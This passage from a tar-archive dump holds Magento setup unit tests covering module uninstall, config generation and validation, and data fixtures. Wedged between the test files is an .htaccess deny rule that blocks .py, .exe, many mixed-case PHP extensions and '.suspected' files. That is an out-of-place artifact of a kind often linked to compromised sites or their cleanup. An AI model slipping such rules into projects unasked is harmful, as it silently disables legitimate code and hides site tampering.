Magento\Setup\Test\Unit\Model; use Magento\Framework\Composer\Remove; use Magento\Framework\Module\ModuleResource; use Magento\Framework\Module\PackageInfo; use Magento\Framework\Module\PackageInfoFactory; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Setup\Patch\PatchApplier; use Magento\Framework\Setup\UninstallInterface; use Magento\Setup\Model\ModuleContext; use Magento\Setup\Model\ModuleUninstaller; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Model\UninstallCollector; use Magento\Setup\Module\Setup; use Magento\Setup\Module\SetupFactory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Output\OutputInterface; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ModuleUninstallerTest extends TestCase { /** * @var MockObject|ObjectManagerInterface */ private $objectManager; /** * @var MockObject|Remove */ private $remove; /** * @var MockObject|UninstallCollector */ private $collector; /** * @var MockObject|Setup */ private $setup; /** * @var ModuleUninstaller */ private $uninstaller; /** * @var MockObject|OutputInterface */ private $output; /** * @var PatchApplier|MockObject */ private $patchApplierMock; protected function setUp(): void { $this->objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManagerProvider->expects($this->once())->method('get')->willReturn($this->objectManager); $this->remove = $this->createMock(Remove::class); $this->collector = $this->createMock(UninstallCollector::class); $this->setup = $this->createMock(Setup::class); $this->patchApplierMock = $this->createMock(PatchApplier::class); $setupFactory = $this->createMock(SetupFactory::class); $setupFactory->expects($this->any())->method('create')->willReturn($this->setup); $this->uninstaller = new ModuleUninstaller( $objectManagerProvider, $this->remove, $this->collector, $setupFactory ); $this->output = $this->getMockForAbstractClass(OutputInterface::class); } public function testUninstallRemoveData() { $uninstall = $this->getMockForAbstractClass(UninstallInterface::class, [], '', false); $uninstall->expects($this->atLeastOnce()) ->method('uninstall') ->with($this->setup, $this->isInstanceOf(ModuleContext::class)); $this->collector->expects($this->once()) ->method('collectUninstall') ->willReturn(['moduleA' => $uninstall, 'moduleB' => $uninstall]); $resource = $this->createMock(ModuleResource::class); $resource->expects($this->atLeastOnce())->method('getDbVersion')->willReturn('1.0'); $this->output->expects($this->atLeastOnce())->method('writeln'); $this->objectManager->expects($this->any()) ->method('get') ->willReturnMap( [ [ModuleResource::class, $resource], [PatchApplier::class, $this->patchApplierMock] ] ); $this->patchApplierMock->expects($this->exactly(2))->method('revertDataPatches')->willReturnMap( [ ['moduleA'], ['moduleB'] ] ); $this->uninstaller->uninstallData($this->output, ['moduleA', 'moduleB']); } public function testUninstallRemoveCode() { $this->output->expects($this->once())->method('writeln'); $packageInfoFactory = $this->createMock(PackageInfoFactory::class); $packageInfo = $this->createMock(PackageInfo::class); $packageInfo->expects($this->atLeastOnce())->method('getPackageName'); $packageInfoFactory->expects($this->once())->method('create')->willReturn($packageInfo); $this->objectManager->expects($this->once()) ->method('get') ->with(PackageInfoFactory::class) ->willReturn($packageInfoFactory); $this->remove->expects($this->once())->method('remove'); $this->uninstaller->uninstallCode($this->output, ['moduleA', 'moduleB']); } } Magento/Setup/Test/Unit/Model/.htaccess000077700000000177151323623130013745 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/ConfigGeneratorTest.php000077700000011377151323623130016600 0ustar00<?php /*** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\State; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\Data\ConfigDataFactory; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Model\ConfigGenerator; use Magento\Setup\Model\ConfigOptionsList\DriverOptions; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Test for Magento\Setup\Model\ConfigGenerator class. */ class ConfigGeneratorTest extends TestCase { /** * @var DeploymentConfig|MockObject */ private $deploymentConfigMock; /** * @var ConfigGenerator|MockObject */ private $model; /** * @var ConfigData|MockObject */ private $configDataMock; /** * @var DriverOptions */ private $driverOptionsMock; protected function setUp(): void { $objectManager = new ObjectManager($this); $this->deploymentConfigMock = $this->getMockBuilder(DeploymentConfig::class) ->disableOriginalConstructor() ->getMock(); $this->configDataMock = $this->getMockBuilder(ConfigData::class) ->disableOriginalConstructor() ->setMethods(['set']) ->getMock(); $configDataFactoryMock = $this->getMockBuilder(ConfigDataFactory::class) ->disableOriginalConstructor() ->setMethods(['create']) ->getMock(); $configDataFactoryMock->method('create') ->willReturn($this->configDataMock); $this->driverOptionsMock = $this->getMockBuilder(DriverOptions::class) ->disableOriginalConstructor() ->setMethods(['getDriverOptions']) ->getMock(); $this->model = $objectManager->getObject( ConfigGenerator::class, [ 'deploymentConfig' => $this->deploymentConfigMock, 'configDataFactory' => $configDataFactoryMock, 'driverOptions' => $this->driverOptionsMock, ] ); } public function testCreateXFrameConfig() { $this->deploymentConfigMock->expects($this->atLeastOnce()) ->method('get') ->with(ConfigOptionsListConstants::CONFIG_PATH_X_FRAME_OPT) ->willReturn(null); $this->configDataMock ->expects($this->once()) ->method('set') ->with(ConfigOptionsListConstants::CONFIG_PATH_X_FRAME_OPT, 'SAMEORIGIN'); $this->model->createXFrameConfig(); } public function testCreateCacheHostsConfig() { $data = [ConfigOptionsListConstants::INPUT_KEY_CACHE_HOSTS => 'localhost:8080, website.com, 120.0.0.1:90']; $expectedData = [ 0 => [ 'host' => 'localhost', 'port' => '8080', ], 1 => [ 'host' => 'website.com', ], 2 => [ 'host' => '120.0.0.1', 'port' => '90', ], ]; $this->configDataMock ->expects($this->once()) ->method('set') ->with(ConfigOptionsListConstants::CONFIG_PATH_CACHE_HOSTS, $expectedData); $this->model->createCacheHostsConfig($data); } public function testCreateModeConfig() { $this->deploymentConfigMock->expects($this->once()) ->method('get') ->with(State::PARAM_MODE) ->willReturn(null); $this->configDataMock ->expects($this->once()) ->method('set') ->with(State::PARAM_MODE, State::MODE_DEFAULT); $this->model->createModeConfig(); } public function testCreateModeConfigIfAlreadySet() { $this->deploymentConfigMock->expects($this->once()) ->method('get') ->with(State::PARAM_MODE) ->willReturn(State::MODE_PRODUCTION); $configData = $this->model->createModeConfig(); $this->assertSame([], $configData->getData()); } public function testCreateCryptKeyConfig() { $key = 'my-new-key'; $data = [ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY => $key]; $this->deploymentConfigMock ->method('get') ->with(ConfigOptionsListConstants::CONFIG_PATH_CRYPT_KEY) ->willReturn(null); $this->configDataMock ->expects($this->once()) ->method('set') ->with(ConfigOptionsListConstants::CONFIG_PATH_CRYPT_KEY, $key); $this->model->createCryptConfig($data); } } Magento/Setup/Test/Unit/Model/NavigationTest.php000077700000005400151323623130015611 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Laminas\ServiceManager\ServiceLocatorInterface; use Magento\Framework\App\DeploymentConfig; use Magento\Setup\Model\Navigation; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class NavigationTest extends TestCase { /** * @var MockObject|ServiceLocatorInterface */ private $serviceLocatorMock; /** * @var MockObject|DeploymentConfig */ private $deploymentConfig; /** * @var Navigation */ private $navigation; protected function setUp(): void { $this->serviceLocatorMock = $this->getMockBuilder(ServiceLocatorInterface::class) ->onlyMethods(['get']) ->getMockForAbstractClass(); $this->serviceLocatorMock ->expects($this->exactly(2)) ->method('get') ->with('config') ->willReturn( [ 'navLandingTitles' => [ 'install' => 'SomeTitle' ], 'navLanding' => [ ['key1' => 'value1'], ['key2' => 'value2'], ['nav' => 'abc', 'key3' => 'value3'], ['nav' => ''], ['nav' => false], ['main' => 'abc', 'key3' => 'value3'], ['main' => ''], ['main' => false], ] ] ); $this->deploymentConfig = $this->createMock(DeploymentConfig::class); $this->navigation = new Navigation($this->serviceLocatorMock, $this->deploymentConfig); } public function testGetType() { $this->assertEquals(Navigation::NAV_LANDING, $this->navigation->getType()); } public function testGetData() { $this->assertEquals( [ ['key1' => 'value1'], ['key2' => 'value2'], ['nav' => 'abc', 'key3' => 'value3'], ['nav' => ''], ['nav' => false], ['main' => 'abc', 'key3' => 'value3'], ['main' => ''], ['main' => false], ], $this->navigation->getData() ); } public function testGetMenuItems() { $this->assertEquals( [['nav' => 'abc', 'key3' => 'value3']], $this->navigation->getMenuItems() ); } public function testGetMainItems() { $this->assertEquals([['main' => 'abc', 'key3' => 'value3']], array_values($this->navigation->getMainItems())); } } Magento/Setup/Test/Unit/Model/ConfigModelTest.php000077700000013636151323623130015712 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Backend\Setup\ConfigOptionsList; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\DeploymentConfig\Writer; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\Setup\FilePermissions; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Model\ConfigModel; use Magento\Setup\Model\ConfigOptionsListCollector; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ConfigModelTest extends TestCase { /** * @var MockObject|ConfigModel */ private $configModel; /** * @var MockObject|ConfigOptionsListCollector */ private $collector; /** * @var MockObject|Writer */ private $writer; /** * @var MockObject|DeploymentConfig */ private $deploymentConfig; /** * @var MockObject|ConfigData */ private $configData; /** * @var MockObject|FilePermissions */ private $filePermissions; /** * @var MockObject|ConfigOptionsList */ private $configOptionsList; protected function setUp(): void { $this->collector = $this->createMock(ConfigOptionsListCollector::class); $this->writer = $this->createMock(Writer::class); $this->deploymentConfig = $this->createMock(DeploymentConfig::class); $this->configOptionsList = $this->createMock(ConfigOptionsList::class); $this->configData = $this->createMock(ConfigData::class); $this->filePermissions = $this->createMock(FilePermissions::class); $this->deploymentConfig->expects($this->any())->method('get'); $this->configModel = new ConfigModel( $this->collector, $this->writer, $this->deploymentConfig, $this->filePermissions ); } public function testValidate() { $option = $this->createMock(TextConfigOption::class); $option->expects($this->exactly(3))->method('getName')->willReturn('Fake'); $optionsSet = [ $option, $option, $option ]; $configOption = $this->configOptionsList; $configOption->expects($this->once())->method('getOptions')->willReturn($optionsSet); $configOption->expects($this->once())->method('validate')->willReturn([]); $this->collector ->expects($this->exactly(2)) ->method('collectOptionsLists') ->willReturn([$configOption]); $this->configModel->validate(['Fake' => null]); } public function testProcess() { $testSet1 = [ ConfigFilePool::APP_CONFIG => [ 'segment' => [ 'someKey' => 'value', 'test' => 'value1' ] ] ]; $testSet2 = [ ConfigFilePool::APP_CONFIG => [ 'segment' => [ 'test' => 'value2' ] ] ]; $testSetExpected1 = [ ConfigFilePool::APP_CONFIG => [ 'segment' => [ 'someKey' => 'value', 'test' => 'value1' ] ] ]; $testSetExpected2 = [ ConfigFilePool::APP_CONFIG => [ 'segment' => [ 'test' => 'value2' ] ] ]; $configData1 = clone $this->configData; $configData2 = clone $this->configData; $configData1->expects($this->any()) ->method('getData') ->willReturn($testSet1[ConfigFilePool::APP_CONFIG]); $configData1->expects($this->any())->method('getFileKey')->willReturn(ConfigFilePool::APP_CONFIG); $configData1->expects($this->once())->method('isOverrideWhenSave')->willReturn(false); $configData2->expects($this->any()) ->method('getData') ->willReturn($testSet2[ConfigFilePool::APP_CONFIG]); $configData2->expects($this->any())->method('getFileKey')->willReturn(ConfigFilePool::APP_CONFIG); $configData2->expects($this->once())->method('isOverrideWhenSave')->willReturn(false); $configOption = $this->configOptionsList; $configOption->expects($this->once()) ->method('createConfig') ->willReturn([$configData1, $configData2]); $configOptionsList = [ 'Fake_Module' => $configOption ]; $this->collector->expects($this->once()) ->method('collectOptionsLists') ->willReturn($configOptionsList); $this->writer->expects($this->at(0))->method('saveConfig')->with($testSetExpected1); $this->writer->expects($this->at(1))->method('saveConfig')->with($testSetExpected2); $this->configModel->process([]); } public function testProcessException() { $this->expectException('Exception'); $this->expectExceptionMessage('In module : Fake_ModuleConfigOption::createConfig'); $configOption = $this->configOptionsList; $configOption->expects($this->once()) ->method('createConfig') ->willReturn([null]); $wrongData = [ 'Fake_Module' => $configOption ]; $this->collector->expects($this->once())->method('collectOptionsLists')->willReturn($wrongData); $this->configModel->process([]); } public function testWritePermissionErrors() { $this->expectException('Exception'); $this->expectExceptionMessage('Missing write permissions to the following paths:'); $this->filePermissions->expects($this->once())->method('getMissingWritablePathsForInstallation') ->willReturn(['/a/ro/dir', '/media']); $this->configModel->process([]); } } Magento/Setup/Test/Unit/Model/SearchTermManagerTest.php000077700000003651151323623130017050 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Setup\Model\SearchTermManager; use PHPUnit\Framework\TestCase; class SearchTermManagerTest extends TestCase { /** * @var SearchTermManager */ private $searchTermManager; /** * @var int */ private $totalProductsCount = 150; /** * @var array */ private $searchTermConfiguration = [ [ 'term' => 'x-wing', 'count' => '33' ], [ 'term' => 'tie-fighter', 'count' => '100' ], [ 'term' => 'n-1 starfighter', 'count' => '42' ], ]; /** * @var array */ private $searchTermsUsage = [ 'x-wing' => [ 'used' => 0 ], 'tie-fighter' => [ 'used' => 0 ], 'n-1 starfighter' => [ 'used' => 0 ] ]; protected function setUp(): void { $this->searchTermManager = new SearchTermManager( $this->searchTermConfiguration, $this->totalProductsCount ); } public function testSearchTermApplied() { for ($productIndex=1; $productIndex<=$this->totalProductsCount; $productIndex++) { $description = 'Fleet: '; $this->searchTermManager->applySearchTermsToDescription($description, $productIndex); foreach (array_keys($this->searchTermsUsage) as $searchTerm) { if (preg_match("/\\b$searchTerm\\b/", $description)) { $this->searchTermsUsage[$searchTerm]['used']++; } } } foreach ($this->searchTermConfiguration as $searchTerm) { $this->assertEquals($searchTerm['count'], $this->searchTermsUsage[$searchTerm['term']]['used']); } } } Magento/Setup/Test/Unit/Model/DataGeneratorTest.php000077700000002622151323623130016235 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Setup\Model\DataGenerator; use PHPUnit\Framework\TestCase; class DataGeneratorTest extends TestCase { const PATH_TO_CSV_FILE = '/_files/dictionary.csv'; /** * @test * * @return void */ public function testGenerate() { $data = file(__DIR__ . self::PATH_TO_CSV_FILE); $wordCount = count($data); $model = new DataGenerator(__DIR__ . self::PATH_TO_CSV_FILE); $result = $model->generate($wordCount, $wordCount); $found = false; foreach ($data as $word) { $found = (strpos($result, $word[0]) !== false) || $found; } $this->assertTrue($found); $this->assertCount($wordCount, explode(" ", $result)); } public function testGenerateWithKey() { $key = 'generate-test'; $data = file(__DIR__ . self::PATH_TO_CSV_FILE); $wordCount = random_int(1, count($data)); $model = new DataGenerator(__DIR__ . self::PATH_TO_CSV_FILE); $result = $model->generate($wordCount, $wordCount, $key); $foundResult = $model->generate($wordCount, $wordCount, $key); $this->assertCount($wordCount, explode(" ", $result)); $this->assertEquals($result, $foundResult); } } Magento/Setup/Test/Unit/Model/ConfigOptionsListTest.php000077700000023245151323623130017136 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\ConfigOptionsListConstants; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Encryption\KeyValidator; use Magento\Framework\Setup\Option\FlagConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Model\ConfigGenerator; use Magento\Setup\Model\ConfigOptionsList; use Magento\Setup\Model\ConfigOptionsList\DriverOptions; use Magento\Setup\Model\ConfigOptionsList\Lock; use Magento\Setup\Validator\DbValidator; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ConfigOptionsListTest extends TestCase { /** * @var ConfigOptionsList */ private $object; /** * @var ConfigGenerator|MockObject */ private $generator; /** * @var MockObject|DeploymentConfig */ private $deploymentConfig; /** * @var DbValidator|MockObject */ private $dbValidator; /** * @var KeyValidator|MockObject */ private $encryptionKeyValidator; /** * @var ConfigOptionsList\DriverOptions */ private $driverOptionsMock; protected function setUp(): void { $this->generator = $this->createMock(ConfigGenerator::class); $this->deploymentConfig = $this->createMock(DeploymentConfig::class); $this->dbValidator = $this->createMock(DbValidator::class); $this->encryptionKeyValidator = $this->createMock(KeyValidator::class); $this->driverOptionsMock = $this->createMock(DriverOptions::class); $this->object = new ConfigOptionsList( $this->generator, $this->dbValidator, $this->encryptionKeyValidator, $this->driverOptionsMock ); } public function testGetOptions() { $options = $this->object->getOptions(); $this->assertInstanceOf(TextConfigOption::class, $options[0]); $this->assertSame('Encryption key', $options[0]->getDescription()); $this->assertInstanceOf(TextConfigOption::class, $options[1]); $this->assertSame('Database server host', $options[1]->getDescription()); $this->assertInstanceOf(TextConfigOption::class, $options[2]); $this->assertSame('Database name', $options[2]->getDescription()); $this->assertInstanceOf(TextConfigOption::class, $options[3]); $this->assertSame('Database server username', $options[3]->getDescription()); $this->assertInstanceOf(TextConfigOption::class, $options[4]); $this->assertSame('Database server engine', $options[4]->getDescription()); $this->assertInstanceOf(TextConfigOption::class, $options[5]); $this->assertSame('Database server password', $options[5]->getDescription()); $this->assertInstanceOf(TextConfigOption::class, $options[6]); $this->assertSame('Database table prefix', $options[6]->getDescription()); $this->assertInstanceOf(TextConfigOption::class, $options[7]); $this->assertSame('Database type', $options[7]->getDescription()); $this->assertInstanceOf(TextConfigOption::class, $options[8]); $this->assertSame('Database initial set of commands', $options[8]->getDescription()); $this->assertInstanceOf(FlagConfigOption::class, $options[9]); $this->assertSame( 'If specified, then db connection validation will be skipped', $options[9]->getDescription() ); $this->assertInstanceOf(TextConfigOption::class, $options[10]); $this->assertSame('http Cache hosts', $options[10]->getDescription()); $this->assertGreaterThanOrEqual(11, count($options)); } public function testCreateOptions() { $configDataMock = $this->createMock(ConfigData::class); $this->generator->expects($this->once())->method('createCryptConfig')->willReturn($configDataMock); $this->generator->expects($this->once())->method('createDefinitionsConfig')->willReturn($configDataMock); $this->generator->expects($this->once())->method('createDbConfig')->willReturn($configDataMock); $this->generator->expects($this->once())->method('createResourceConfig')->willReturn($configDataMock); $this->generator->expects($this->once())->method('createXFrameConfig')->willReturn($configDataMock); $this->generator->expects($this->once())->method('createCacheHostsConfig')->willReturn($configDataMock); $configData = $this->object->createConfig([Lock::INPUT_KEY_LOCK_PROVIDER => 'db'], $this->deploymentConfig); $this->assertGreaterThanOrEqual(6, count($configData)); } public function testCreateOptionsWithOptionalNull() { $configDataMock = $this->createMock(ConfigData::class); $this->generator->expects($this->once())->method('createCryptConfig')->willReturn($configDataMock); $this->generator->expects($this->once())->method('createDefinitionsConfig')->willReturn(null); $this->generator->expects($this->once())->method('createDbConfig')->willReturn($configDataMock); $this->generator->expects($this->once())->method('createResourceConfig')->willReturn($configDataMock); $this->generator->expects($this->once())->method('createXFrameConfig')->willReturn($configDataMock); $this->generator->expects($this->once())->method('createCacheHostsConfig')->willReturn($configDataMock); $configData = $this->object->createConfig([Lock::INPUT_KEY_LOCK_PROVIDER => 'db'], $this->deploymentConfig); $this->assertGreaterThanOrEqual(6, count($configData)); } public function testValidateSuccess() { $options = [ ConfigOptionsListConstants::INPUT_KEY_DB_PREFIX => 'prefix', ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE => 'files', ConfigOptionsListConstants::INPUT_KEY_SKIP_DB_VALIDATION => false, ConfigOptionsListConstants::INPUT_KEY_DB_NAME => 'name', ConfigOptionsListConstants::INPUT_KEY_DB_HOST => 'host', ConfigOptionsListConstants::INPUT_KEY_DB_USER => 'user', ConfigOptionsListConstants::INPUT_KEY_DB_PASSWORD => 'pass', Lock::INPUT_KEY_LOCK_PROVIDER => 'db' ]; $this->prepareValidationMocks(); $this->assertEquals([], $this->object->validate($options, $this->deploymentConfig)); } public function testValidateInvalidSessionHandler() { $invalidSaveHandler = 'clay-tablet'; $options = [ ConfigOptionsListConstants::INPUT_KEY_DB_PREFIX => 'prefix', ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE => $invalidSaveHandler, ConfigOptionsListConstants::INPUT_KEY_SKIP_DB_VALIDATION => false, ConfigOptionsListConstants::INPUT_KEY_DB_NAME => 'name', ConfigOptionsListConstants::INPUT_KEY_DB_HOST => 'host', ConfigOptionsListConstants::INPUT_KEY_DB_USER => 'user', ConfigOptionsListConstants::INPUT_KEY_DB_PASSWORD => 'pass', Lock::INPUT_KEY_LOCK_PROVIDER => 'db' ]; $this->prepareValidationMocks(); $this->assertEquals( ["Invalid session handler '{$invalidSaveHandler}'"], $this->object->validate($options, $this->deploymentConfig) ); } public function testValidateEmptyEncryptionKey() { $options = [ ConfigOptionsListConstants::INPUT_KEY_SKIP_DB_VALIDATION => true, ConfigOptionsListConstants::INPUT_KEY_ENCRYPTION_KEY => '', Lock::INPUT_KEY_LOCK_PROVIDER => 'db' ]; $this->assertEquals( ['Invalid encryption key. Encryption key must be 32 character string without any white space.'], $this->object->validate($options, $this->deploymentConfig) ); } private function prepareValidationMocks() { $configDataMock = $this->getMockBuilder(ConfigData::class) ->disableOriginalConstructor() ->getMock(); $this->dbValidator->expects($this->once())->method('checkDatabaseTablePrefix')->willReturn($configDataMock); $this->dbValidator->expects($this->once()) ->method('checkDatabaseConnectionWithDriverOptions') ->willReturn($configDataMock); $this->dbValidator ->expects($this->once()) ->method('checkDatabaseConnectionWithDriverOptions') ->willReturn($configDataMock); } /** * @param string $hosts * @param bool $expectedError * @dataProvider validateCacheHostsDataProvider */ public function testValidateCacheHosts($hosts, $expectedError) { $options = [ ConfigOptionsListConstants::INPUT_KEY_SKIP_DB_VALIDATION => true, ConfigOptionsListConstants::INPUT_KEY_CACHE_HOSTS => $hosts, Lock::INPUT_KEY_LOCK_PROVIDER => 'db' ]; $result = $this->object->validate($options, $this->deploymentConfig); if ($expectedError) { $this->assertCount(1, $result); $this->assertEquals("Invalid http cache hosts '$hosts'", $result[0]); } else { $this->assertCount(0, $result); } } /** * @return array */ public function validateCacheHostsDataProvider() { return [ ['localhost', false], ['122.11.2.34:800', false], ['122.11.2.34:800,localhost', false], ['website.com:9000', false], ['web-site.com:9000', false], ['website.com/m2ce:9000', true], ['website.com+:9000', true], ]; } } Magento/Setup/Test/Unit/Model/ModuleContextTest.php000077700000000732151323623130016307 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Setup\Model\ModuleContext; use PHPUnit\Framework\TestCase; class ModuleContextTest extends TestCase { public function testGetVersion() { $version = '1.0.1'; $object = new ModuleContext($version); $this->assertSame($version, $object->getVersion()); } } Magento/Setup/Test/Unit/Fixtures/TaxRulesFixtureTest.php000077700000007265151323623130017414 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Framework\App\Config\Storage\Writer as ConfigWriter; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Fixtures\TaxRulesFixture; use Magento\Tax\Api\Data\TaxRateInterfaceFactory; use Magento\Tax\Api\Data\TaxRuleInterfaceFactory; use Magento\Tax\Api\TaxRateRepositoryInterface; use Magento\Tax\Api\TaxRuleRepositoryInterface; use Magento\Tax\Model\ResourceModel\Calculation\Rate\CollectionFactory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class TaxRulesFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var TaxRulesFixture */ private $model; /** * @var ConfigWriter */ private $configWriterMock; /** * @var TaxRateInterfaceFactory */ private $taxRateRepositoryMock; /** * @var */ private $taxRateFactoryMock; /** * @var CollectionFactory */ private $taxRateCollectionFactoryMock; /** * @var TaxRuleInterfaceFactory */ private $taxRuleFactoryMock; /** * @var TaxRuleRepositoryInterface */ private $taxRuleRepositoryMock; public function testExecute() { $this->fixtureModelMock = $this->getMockBuilder(FixtureModel::class) ->disableOriginalConstructor() ->getMock(); $this->taxRateFactoryMock = $this->getMockBuilder(TaxRateInterfaceFactory::class) ->disableOriginalConstructor() ->getMock(); $this->taxRateRepositoryMock = $this->getMockBuilder(TaxRateRepositoryInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->configWriterMock = $this->getMockBuilder(ConfigWriter::class) ->disableOriginalConstructor() ->getMock(); $this->taxRuleFactoryMock = $this->getMockBuilder(TaxRuleInterfaceFactory::class) ->disableOriginalConstructor() ->getMock(); $this->taxRuleRepositoryMock = $this->getMockBuilder(TaxRuleRepositoryInterface::class) ->disableOriginalConstructor() ->setMethods(['save', 'get', 'delete', 'deleteById', 'getList']) ->getMockForAbstractClass(); $this->fixtureModelMock ->expects($this->exactly(2)) ->method('getValue') ->willReturnMap([ ['tax_mode', 'VAT'], ['tax_rules', 2] ]); $this->taxRateCollectionFactoryMock = $this->getMockBuilder(CollectionFactory::class) ->disableOriginalConstructor() ->setMethods(['create']) ->getMock(); $taxRateCollectionMock = $this->getMockBuilder(Collection::class) ->disableOriginalConstructor() ->setMethods(['getAllIds']) ->getMock(); $this->taxRateCollectionFactoryMock->expects($this->once()) ->method('create') ->willReturn($taxRateCollectionMock); $taxRateCollectionMock->expects($this->once()) ->method('getAllIds') ->willReturn([1]); $this->model = new TaxRulesFixture( $this->fixtureModelMock, $this->taxRuleRepositoryMock, $this->taxRuleFactoryMock, $this->taxRateCollectionFactoryMock, $this->taxRateFactoryMock, $this->taxRateRepositoryMock, $this->configWriterMock ); $this->model->execute(); } } Magento/Setup/Test/Unit/Fixtures/CustomersFixtureTest.php000077700000010234151323623130017617 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Customer\Model\ResourceModel\Customer\Collection; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Fixtures\CustomersFixture; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Model\Customer\CustomerDataGenerator; use Magento\Setup\Model\Customer\CustomerDataGeneratorFactory; use Magento\Setup\Model\FixtureGenerator\CustomerGenerator; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class CustomersFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var MockObject|CustomerGenerator */ private $customerGeneratorMock; /** * @var MockObject|CustomerDataGeneratorFactory */ private $customerDataGeneratorFactoryMock; /** * @var CustomersFixture */ private $model; /** * @var MockObject */ private $collectionFactoryMock; /** * @var MockObject */ private $collectionMock; protected function setUp(): void { $this->fixtureModelMock = $this->createMock(FixtureModel::class); $this->customerGeneratorMock = $this->createMock(CustomerGenerator::class); $this->customerDataGeneratorFactoryMock = $this->createMock(CustomerDataGeneratorFactory::class); $this->collectionFactoryMock = $this->createPartialMock( \Magento\Customer\Model\ResourceModel\Customer\CollectionFactory::class, ['create'] ); $this->collectionMock = $this->createMock(Collection::class); $this->model = (new ObjectManager($this))->getObject(CustomersFixture::class, [ 'fixtureModel' => $this->fixtureModelMock, 'customerGenerator' => $this->customerGeneratorMock, 'customerDataGeneratorFactory' => $this->customerDataGeneratorFactoryMock, 'collectionFactory' => $this->collectionFactoryMock ]); } public function testExecute() { $entitiesInDB = 20; $this->collectionFactoryMock->expects($this->once())->method('create')->willReturn($this->collectionMock); $this->collectionMock->expects($this->once())->method('getSize')->willReturn($entitiesInDB); $customersNumber = 100500; $customerConfig = [ 'some-key' => 'some value' ]; $this->fixtureModelMock ->expects($this->exactly(2)) ->method('getValue') ->will($this->onConsecutiveCalls($customersNumber, $customerConfig)); $customerDataGeneratorMock = $this->createMock(CustomerDataGenerator::class); $this->customerDataGeneratorFactoryMock ->expects($this->once()) ->method('create') ->with($customerConfig) ->willReturn($customerDataGeneratorMock); $this->customerGeneratorMock ->expects($this->once()) ->method('generate') ->with( $customersNumber - $entitiesInDB, $this->arrayHasKey('customer_data') ); $this->model->execute(); } public function testDoNoExecuteIfCustomersAlreadyGenerated() { $this->collectionFactoryMock->expects($this->once())->method('create')->willReturn($this->collectionMock); $this->collectionMock->expects($this->once())->method('getSize')->willReturn(20); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(20); $this->customerDataGeneratorFactoryMock->expects($this->never())->method('create'); $this->model->execute(); } public function testGetActionTitle() { $this->assertSame('Generating customers', $this->model->getActionTitle()); } public function testIntroduceParamLabels() { $this->assertSame( [ 'customers' => 'Customers' ], $this->model->introduceParamLabels() ); } } Magento/Setup/Test/Unit/Fixtures/AttributeSetsFixtureTest.php000077700000006422151323623130020441 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Setup\Fixtures\AttributeSet\AttributeSetFixture; use Magento\Setup\Fixtures\AttributeSet\Pattern; use Magento\Setup\Fixtures\AttributeSetsFixture; use 